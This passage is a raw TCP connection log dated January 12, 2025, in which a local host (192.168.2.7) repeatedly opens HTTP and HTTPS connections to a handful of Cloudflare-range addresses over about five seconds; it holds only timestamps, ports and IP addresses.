Jan 12, 2025 09:27:06.146846056 CET	80	50191	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.148233891 CET	80	50196	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.148299932 CET	50196	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.148360968 CET	50196	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.153173923 CET	80	50196	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.329535007 CET	443	50194	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:06.329864979 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:06.330868006 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:06.331026077 CET	443	50194	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:06.331113100 CET	50194	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:06.331530094 CET	50201	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.331562042 CET	443	50201	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.331634998 CET	50201	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.331655025 CET	50201	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.331748009 CET	443	50201	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.331805944 CET	50201	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.332144022 CET	50202	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.337032080 CET	80	50202	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.337125063 CET	50202	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.338957071 CET	50202	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.343797922 CET	80	50202	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.601361036 CET	80	50196	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.601579905 CET	50196	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.601792097 CET	80	50196	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.601857901 CET	50196	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:06.602176905 CET	50204	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.602217913 CET	443	50204	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:06.602293968 CET	50204	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.602322102 CET	50204	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.602464914 CET	443	50204	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:06.602528095 CET	50204	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.602850914 CET	50205	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.606408119 CET	80	50196	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:06.607693911 CET	80	50205	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:06.607750893 CET	50205	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.607777119 CET	50205	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:06.612534046 CET	80	50205	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:06.798424959 CET	80	50202	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.798635960 CET	50202	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.798686981 CET	80	50202	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.798769951 CET	50202	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:06.799127102 CET	50206	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.799160004 CET	443	50206	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.799230099 CET	50206	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.799257994 CET	50206	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.799388885 CET	443	50206	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.799446106 CET	50206	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.799665928 CET	50207	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.803534031 CET	80	50202	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:06.804548025 CET	80	50207	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:06.804610968 CET	50207	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.804634094 CET	50207	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:06.809479952 CET	80	50207	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:07.059945107 CET	80	50205	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.060020924 CET	50205	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.060350895 CET	80	50205	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.060401917 CET	50205	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.062289000 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.062311888 CET	443	50212	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:07.062371969 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.062791109 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.062803984 CET	443	50212	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:07.064773083 CET	80	50205	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.276124001 CET	80	50207	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:07.276597977 CET	50207	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:07.277147055 CET	50213	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.277173042 CET	443	50213	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.277221918 CET	80	50207	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:07.277287006 CET	50207	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:07.277288914 CET	50213	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.277312040 CET	50213	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.277467012 CET	443	50213	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.277525902 CET	50213	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.277713060 CET	50214	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.281462908 CET	80	50207	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:07.282663107 CET	80	50214	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.282737970 CET	50214	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.282783985 CET	50214	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.287550926 CET	80	50214	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.534415007 CET	443	50212	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:07.534488916 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.535588026 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.535665989 CET	443	50212	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:07.535732031 CET	50212	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:07.536356926 CET	50215	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.536462069 CET	443	50215	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:07.536602020 CET	50215	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.536678076 CET	50215	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.536737919 CET	443	50215	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:07.536819935 CET	50215	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.537137985 CET	50216	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.542023897 CET	80	50216	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:07.542223930 CET	50216	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.542223930 CET	50216	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:07.547060013 CET	80	50216	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:07.757966995 CET	80	50214	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.758074045 CET	50214	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.758302927 CET	80	50214	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.758667946 CET	50217	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.758742094 CET	443	50217	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.758773088 CET	50214	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:07.758816004 CET	50217	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.758878946 CET	50217	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.758922100 CET	443	50217	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.759113073 CET	50218	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.759141922 CET	50217	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.762948990 CET	80	50214	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:07.763962030 CET	80	50218	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:07.764019012 CET	50218	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.764039040 CET	50218	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:07.768774986 CET	80	50218	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.004745960 CET	80	50216	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.004909039 CET	50216	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.005013943 CET	80	50216	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.005079985 CET	50216	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.005505085 CET	50219	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.005556107 CET	443	50219	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.005626917 CET	50219	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.005671978 CET	50219	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.005795002 CET	443	50219	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.005848885 CET	50219	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.005994081 CET	50220	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.009829998 CET	80	50216	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.010744095 CET	80	50220	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.010818005 CET	50220	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.010873079 CET	50220	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.015705109 CET	80	50220	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.220923901 CET	80	50218	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.221034050 CET	50218	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.221235991 CET	80	50218	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.221286058 CET	50218	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.223382950 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.223506927 CET	443	50223	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:08.223602057 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.224050045 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.224091053 CET	443	50223	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:08.225848913 CET	80	50218	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.464617014 CET	80	50220	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.464837074 CET	50220	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.465684891 CET	50224	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.465792894 CET	443	50224	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.465811968 CET	80	50220	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.465904951 CET	50224	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.465986013 CET	50220	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:08.465987921 CET	50224	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.466070890 CET	443	50224	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.466140985 CET	50224	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.466552019 CET	50225	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.469610929 CET	80	50220	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:08.471368074 CET	80	50225	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.471443892 CET	50225	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.471474886 CET	50225	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.476223946 CET	80	50225	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.703541040 CET	443	50223	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:08.703793049 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.705313921 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.705420017 CET	443	50223	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:08.705513000 CET	50223	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:08.706064939 CET	50226	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.706114054 CET	443	50226	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.706191063 CET	50226	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.706227064 CET	50226	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.706301928 CET	443	50226	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.706356049 CET	50226	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.706618071 CET	50227	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.711982965 CET	80	50227	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.712079048 CET	50227	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.712117910 CET	50227	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:08.717479944 CET	80	50227	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:08.957418919 CET	80	50225	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.957626104 CET	50225	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.958444118 CET	80	50225	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.958503008 CET	50225	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:08.958523989 CET	50228	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.958547115 CET	443	50228	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.958621025 CET	50228	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.958642960 CET	50228	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.958760977 CET	443	50228	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.958822012 CET	50228	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.959145069 CET	50229	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.962488890 CET	80	50225	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:08.964008093 CET	80	50229	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:08.964114904 CET	50229	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.964114904 CET	50229	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:08.968910933 CET	80	50229	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:09.185534000 CET	80	50227	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.185682058 CET	50227	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.185806036 CET	80	50227	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.185873032 CET	50227	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.186300993 CET	50230	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.186347008 CET	443	50230	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.186451912 CET	50230	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.186486959 CET	50230	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.186634064 CET	443	50230	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.186763048 CET	50230	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.186779976 CET	50231	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.190488100 CET	80	50227	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.191591024 CET	80	50231	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.191663027 CET	50231	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.191715956 CET	50231	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.196432114 CET	80	50231	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.422991037 CET	80	50229	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:09.423300028 CET	50229	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:09.423485994 CET	80	50229	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:09.423546076 CET	50229	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:09.426512957 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.426561117 CET	443	50234	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:09.426646948 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.427375078 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.427395105 CET	443	50234	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:09.428121090 CET	80	50229	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:09.664475918 CET	80	50231	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.664622068 CET	50231	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.664897919 CET	80	50231	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.664959908 CET	50231	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:09.665545940 CET	50235	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.665570021 CET	443	50235	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:09.665652037 CET	50235	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.665678978 CET	50235	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.665750027 CET	443	50235	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:09.665812969 CET	50235	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.666150093 CET	50236	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.669439077 CET	80	50231	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:09.671045065 CET	80	50236	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:09.671116114 CET	50236	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.671133995 CET	50236	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:09.675900936 CET	80	50236	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:09.906114101 CET	443	50234	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:09.906198025 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.907968998 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.908045053 CET	443	50234	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:09.908111095 CET	50234	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:09.908832073 CET	50237	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.908865929 CET	443	50237	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.908941031 CET	50237	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.908978939 CET	50237	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.909039974 CET	443	50237	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.909095049 CET	50237	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.909583092 CET	50238	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.914525986 CET	80	50238	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:09.914628983 CET	50238	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.914673090 CET	50238	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:09.919476986 CET	80	50238	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:10.129641056 CET	80	50236	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.129770994 CET	50236	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.129991055 CET	80	50236	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.130053997 CET	50236	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.130703926 CET	50239	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.130786896 CET	443	50239	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.130883932 CET	50239	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.130949974 CET	50239	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.131093025 CET	443	50239	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.131165981 CET	50239	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.131436110 CET	50240	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.134560108 CET	80	50236	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.136754990 CET	80	50240	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.136826992 CET	50240	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.136909008 CET	50240	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.141711950 CET	80	50240	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.387768030 CET	80	50238	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:10.387866020 CET	50238	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:10.387970924 CET	80	50238	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:10.388032913 CET	50238	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:10.388673067 CET	50241	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.388747931 CET	443	50241	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.388838053 CET	50241	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.388897896 CET	50241	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.389020920 CET	443	50241	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.389107943 CET	50241	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.389312029 CET	50242	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.392946959 CET	80	50238	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:10.394364119 CET	80	50242	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.395798922 CET	50242	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.395867109 CET	50242	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.400938034 CET	80	50242	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.617371082 CET	80	50240	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.617511034 CET	50240	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.618623972 CET	80	50240	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.618695974 CET	50240	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:10.620049000 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:10.620095968 CET	443	50245	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:10.620232105 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:10.620706081 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:10.620723963 CET	443	50245	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:10.622451067 CET	80	50240	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:10.850568056 CET	80	50242	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.850756884 CET	50242	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.850953102 CET	80	50242	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.851000071 CET	50242	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:10.851234913 CET	50246	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.851258039 CET	443	50246	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.851330996 CET	50246	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.851353884 CET	50246	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.851433039 CET	443	50246	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.851476908 CET	50246	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.851656914 CET	50247	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.855652094 CET	80	50242	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:10.856532097 CET	80	50247	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:10.856599092 CET	50247	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.856626034 CET	50247	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:10.861411095 CET	80	50247	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:11.131294966 CET	443	50245	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:11.131397963 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.132503033 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.132755995 CET	443	50245	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:11.132945061 CET	50245	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:11.133019924 CET	50248	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.133060932 CET	443	50248	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.133256912 CET	50248	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.133300066 CET	50248	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.133354902 CET	443	50248	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.133399963 CET	50248	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.133734941 CET	50249	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.138552904 CET	80	50249	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.138612032 CET	50249	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.138648987 CET	50249	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.143456936 CET	80	50249	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.339298010 CET	80	50247	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:11.339509010 CET	50247	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:11.339567900 CET	80	50247	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:11.339621067 CET	50247	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:11.340073109 CET	50250	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.340102911 CET	443	50250	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.340177059 CET	50250	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.340203047 CET	50250	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.340338945 CET	443	50250	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.340404987 CET	50250	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.340497971 CET	50251	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.344361067 CET	80	50247	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:11.345315933 CET	80	50251	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.345376015 CET	50251	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.345406055 CET	50251	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:11.350208044 CET	80	50251	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:11.596618891 CET	80	50249	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.596782923 CET	50249	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.597126961 CET	80	50249	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:11.597192049 CET	50249	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:11.597371101 CET	50252	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:11.597477913 CET	443	50252	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:11.597587109 CET	50252	443	192.168.2.7	172.67.198.113
